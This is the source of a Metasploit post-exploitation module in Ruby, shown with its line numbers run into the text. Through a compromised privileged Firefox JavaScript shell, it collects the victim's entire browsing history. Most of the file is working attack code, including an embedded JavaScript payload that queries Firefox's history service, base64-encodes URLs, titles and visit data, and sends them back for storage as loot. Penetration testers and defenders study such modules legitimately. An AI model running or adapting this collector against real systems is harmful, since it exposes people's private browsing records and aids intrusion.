Path: blob/master/modules/post/firefox/gather/history.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Exploit::Remote::FirefoxPrivilegeEscalation910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Firefox Gather History from Privileged JavaScript Shell',15'Description' => %q{16This module allows collection of the entire browser history from a Firefox17Privileged JavaScript Shell.18},19'License' => MSF_LICENSE,20'Author' => [ 'joev' ],21'DisclosureDate' => '2014-04-11',22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)28)2930register_options([31OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])32])33end3435def run36results = js_exec(js_payload)37if results.present?38begin39history = JSON.parse(results)40history.each do |entry|41entry.each_key { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }42end4344file = store_loot('firefox.history.json', 'text/json', rhost, history.to_json)45print_good("Saved #{history.length} history entries to #{file}")46rescue JSON::ParserError47print_warning(results)48end49end50end5152def js_payload53%|54(function(send){55try {56var service = Components57.classes["@mozilla.org/browser/nav-history-service;1"]58.getService(Components.interfaces.nsINavHistoryService);59var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;6061var query = service.getNewQuery();62var options = service.getNewQueryOptions();63var result = service.executeQuery(query, options);64var fields = [];65var entries = [];6667var root = result.root;68root.containerOpen = true;6970for (var i = 0; i < result.root.childCount; ++i) {71var child = result.root.getChild(i);72if (child.type == child.RESULT_TYPE_URI) {73entries.push({74uri: b64(child.uri),75title: b64(child.title),76time: b64(child.time),77accessCount: b64(child.accessCount)78});79}80}8182result.root.containerOpen = false;8384send(JSON.stringify(entries));85} catch (e) {86send(e);87}88})(this.send);89|.strip90end91end929394